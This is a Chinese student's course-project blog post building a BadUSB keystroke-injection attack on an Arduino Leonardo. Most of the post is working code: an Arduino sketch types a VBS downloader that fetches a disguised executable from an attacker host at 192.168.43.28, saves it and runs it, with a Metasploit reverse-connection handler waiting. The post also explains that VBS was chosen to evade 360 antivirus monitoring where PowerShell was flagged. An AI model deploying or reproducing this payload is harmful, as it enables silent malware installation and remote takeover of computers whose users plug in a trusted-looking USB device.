20155213免考项目——简易的HIDAttack
20155213免考项目——简易的HIDAttack
听5214说他做不出来自己的免考项目,于是就转向bof进阶,并且成功做出了64位的ROP攻击......
既然如此,那我就再做一个吧,但都已经期末了,就选择了一项入手简单的HID攻击的东西,就这么做了一个简易的HIDAttack,没有深研究过,肯定有很多叙述不周到,做法有问题,还请原谅我这个小caiji。
0x01 介绍
BadUSB原理
我这里做的HIDAttack选择的是BadUSB那一项,先简单介绍一下HID是啥,Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等,具体的解释可以百度,多得很。这里能用到的信息就是如果逆向编程使用HID的设备,就可以实现,随意变换计算机识别的设备类型。
TEENSY介绍
攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。
我选择的USB设备是一块Arduino板子,是LEORADO型的,其他的不能用除了Micro型(很小很便宜)的,淘宝上可以买的到。

0x02 编译上传&exploit
这里我们跳过Arduino编程和后面将要使用到的powershell编程和VBS编程介绍内容,网上很多很多
具体流程
- 使用arduino里面的Keyboard模块编写一个脚本,用该脚本下载运行远程恶意程序
- 使用的脚本是VBS脚本,Windows里面自带有解释VBS脚本的解释器(WScript.exe)
- 使用VBS是自己想到的,网上教程使用的是PowerShell的下载功能,(Powershell是一种类似bash的终端程序)
- 在远程Kali开启Apache服务,并上传恶意程序,用以提供下 载
- 开启msf,并设置运行反弹连接模块
- 编译上传arduino代码到板子上,拔插USB数据线,此时arduino板子会自动运行之前烧进去的代码
- 静坐等待就好了
代码解析
#include <Keyboard.h>
void setup() {
delay(3000);
Keyboard.begin();
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(100);
Keyboard.println("cmd /c powershell");
delay(100);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(1000);
Keyboard.println("notepad ");
delay(1000);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_LEFT_SHIFT);
delay(1000);
Keyboard.println("on error resume next \nSet Post = CreateObject\(\"Msxml2.XMLHTTP\"\)\nSet Shell = CreateObject\(\"Wscript.Shell\"\)\nPost.Open \"GET\",\"http://192.168.43.28/bd5213.gif\",0\nPost.Send\(\)\nSet aGet = CreateObject\(\"ADODB.Stream\"\)\naGet.Mode = 3\naGet.Type = 1\naGet.Open\(\)\naGet.Write\(Post.responseBody\)\naGet.SaveToFile \"d:\\bd5213.exe\",2\nwscript.sleep 1000\nShell.AppActivate \"C:\\Windows\\system32\\CMD.exe\"\nShell.SendKeys \"exit~\"\nShell.Run \(\"d:\\bd5213.exe\"\)");
delay(1000);
Keyboard.release(KEY_LEFT_SHIFT);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press('s');
Keyboard.releaseAll();
delay(500);
Keyboard.println("bd5213.vbs ");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_F4);
Keyboard.releaseAll();
delay(500);
Keyboard.println("./bd5213.vbs ");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
}
void loop() {
// put your main code here, to run repeatedly:
}
Arduino的Keyboard模块编程也就如下这几个函数
#include<Keyboard.h> //包含键盘模块的头文件
Keyboard.begin(); //开启键盘通信
Keyboard.press(); //按下某个键
Keyboard.release(); //释放某个键
Keyboard.println(); /*输入某些内容 和一些网上的解释不同 网上解释是输入内容并且能回车,而我测试的时候并不能回车 可能和版本有关 不要不要担心有办法回车*/
Keyboard.end(); //结束键盘通信
这里说一下上面的逻辑,就是先打开运行,然后输入
cmd /c powershell,即运行powershell,随后用其打开一个txt文件,向里面输入vbs脚本代码(脚本文件后面具体解释),键入CTRL+S以bd5213.vbs保存文件,关闭txt文本窗口,在刚才的终端里运行脚本文件。上面的VBS脚本文件,主要是用来下载远程的恶意程序的并运行的,规范一下写法
on error resume next
sET pOST = cREATEoBJECT("mSXML2.xmlhttp")
sET sHELL = cREATEoBJECT("wSCRIPT.sHELL")
pOST.oPEN "get","HTTP://192.168.43.28/BD5213.GIF",0
pOST.sEND()
sET AgET = cREATEoBJECT("adodb.sTREAM")
AgET.mODE = 3
AgET.tYPE = 1
AgET.oPEN()
AgET.wRITE(pOST.RESPONSEbODY)
AgET.sAVEtOfILE "D:\BD5213.EXE",2
WSCRIPT.SLEEP 1000
sHELL.aPPaCTIVATE "c:\wINDOWS\SYSTEM32\cmd.EXE"
sHELL.sENDkEYS "EXIT~"
sHELL.rUN ("D:\BD5213.EXE")
代码都是字面意思,主要说一下第一句和倒数第三句
第一句说的是,如果运行出错,但不报错,并继续往下运行,这样做的好处是防止运行时出问题,调出一个提示框

那就有点尴尬了。
倒数第三句是将目前桌面焦点放到指定的正在运行的程序上,这里的目的是为了关闭不用的终端
有几个细节需要说一下:
- arduino代码里需要开启大写键,是为了防止中文输入,这也导致写在txt文件里的代码大小写很乱(本来想按住shift键强制转换结果还是乱的),但不影响,WScript并不care大小写问题
- 网上教程都是用powershell来下载恶意程序的,但是powershell被360监视的太狠了,每次下载都要报提示,但VBS下载就不会,使用的是HTTP的get,且没有被监视,所以就换成了VBS的
exploit就不多说了,使用的是实验三做了免杀的一个程序
0x03 操作实现
完成上述过程后,插入USB即可,我录了一段视频,简单感受一下粗犷的攻击方式
视频链接
20155213免考项目——简易的HIDAttack的更多相关文章
- 20155213免考项目——bof进阶及简易的HIDAttack
20155213免考项目--bof进阶及简易的HIDAttack 目录 序 任务一:构造Shellcode(64位) 任务二:64位Shellcode的注入 任务三:32位及64位bof攻击(开启堆栈 ...
- 20145208 蔡野 《网络对抗》免考项目 MSF学习
20145208 蔡野 <网络对抗>免考项目 MSF Exploit模块开发 题目:MSF Exploit模块开发 摘要 本免考项目的目标是通过对msf模块的设计语言--ruby和expl ...
- 《Java 程序设计》课堂实践项目-简易计算器
<Java 程序设计>课堂实践项目简易计算器 课后学习总结 目录 改变 简易计算器实验要求 课堂实践成果 课后思考 改变 修改了博客整体布局,过去就贴个代码贴个图很草率,这次布局和内容都有 ...
- 【WPF on .NET Core 3.0】 Stylet演示项目 - 简易图书管理系统(4) - 图书列表界面
在前三章中我们完成了登录窗口, 并掌握了使用Conductor来切换窗口, 但这些其实都是在为我们的系统打基础. 而本章中我们就要开始开发系统的核心功能, 即图书管理功能了. 通过本章, 我们会接触到 ...
- Qt项目简易开发原理及常见问题解决
一.资源下载地址 https://www.aliyundrive.com/s/jBU2wBS8poH 本项目路径:项目->免费->QtDev 注释:为了方便qt全功能开发,QtDev中包含 ...
- 【WPF on .NET Core 3.0】 Stylet演示项目 - 简易图书管理系统(1)
.NET Core 3.0已经发布了,除了一大堆令人激动的功能以外,也增加了对WPF的正式支持, 那么WPF在.NET Core 3.0下的开发体验如何呢? 本文利用了Stylet框架开发.NET C ...
- 【WPF on .NET Core 3.0】 Stylet演示项目 - 简易图书管理系统(3) - 使用Conductor切换页面
前两章中, 我们已经实现了这个图书管理系统的登录窗口, 并实施了完善的单元测试. 该是时候回过头来关注我们的主窗口了. 一个功能丰富的系统一般会有多个页面, 我们图书管理系统虽然是"简易&q ...
- Django项目-简易博客系统(附源码) --Python Web
Django入门级项目: 链接:https://pan.baidu.com/s/13Z7v-gky6Xgka-Gom8-HQQ 提取码:uagu
- 【WPF on .NET Core 3.0】 Stylet演示项目 - 简易图书管理系统(2) - 单元测试
上一章中我们完成了一个简单的登录功能, 这一章主要演示如何对Stylet工程中的ViewModel进行单元测试. 回忆一下我们的登录逻辑,主要有以下4点: 当"用户名"或" ...
随机推荐
- [原创.数据可视化系列之八]使用等d3进行灰度图转伪彩色
对灰度图进行彩色化是数据可视化中常见的需求,使用d3在客户端比较容易实现,本文使用d3生成图片,并显示: 代码如下: 代码中首先下载数据文件,然后设定d3的色带信息,生成一个空白的canvas元素,并 ...
- ajax分页查询
(1)先写个显示数据的页面,分页查询需要那几个部分呢? 1.首先是查询的文本框输入,还有查询按钮,那么就开始写代码吧 1 2 3 4 <div> <input type=" ...
- Git 命令快速浏览
Git 命令快速浏览 创建 Git 可管理的仓库 git init 查看当前仓库的状态 git status 添加到仓库,实际上是添加到暂存区 git add [-A | --all] git add ...
- LeetCode题解之Split Linked List in Parts
1.题目描述 2.题目分析 主要是理解题意,将每个子链表应该分得的节点个数计算清楚.利用除数和余数的方法进行计算. 3.代码 vector<ListNode*> splitListToPa ...
- DDT模块
转自: https://www.cnblogs.com/frost-hit/p/8277637.html Python DDT(data driven tests)模块心得 关于ddt模块的一些心 ...
- windows系统相关命令及问题排查实践
1. 如何查看哪个端口被哪个程序占用? Netstat –ano|findstr "80" ->找到监听80端口的pid tasklist|findstr “<PID号 ...
- 跨过Django的坑
在最近的Django的学习中,慢慢的开始踩坑,开此栏,专为收纳Django的坑,在以后的学习中以便警示.(使用工具为pycharm专业版2018.2.4,python3.5.2,Django版本2.1 ...
- 表迁移工具的选型-复制ibd的方法-传输表空间
1.1. 场景 有的时候开放人员自己的库需要帮忙导一些数据,但是表的数据量又很大.虽然说使用mysqldump或mysqlpump也可以导.但是这耗时需要比较久. 记得之前建议开放人员可以直接使用na ...
- Centos kernel panic-not syncing:VFS:Unable to mount root fs on unknown block 解决办法
昨晚更新了一下内核,今晚开机就无法进系统了...提示如下图: 解决方案:开机启动时按Esc,然后选择下面的旧版本的内核启动即可. (成功进入系统后,你可以选择改变开机默认选择的内核). uname - ...
- python基础学习21----进程
python中的多线程其实并不是真正的多线程,如果想要充分地使用多核CPU的资源,在python中大部分情况需要使用多进程. 进程与线程的使用有很多相似之处,有关线程方面的知识请参考https://w ...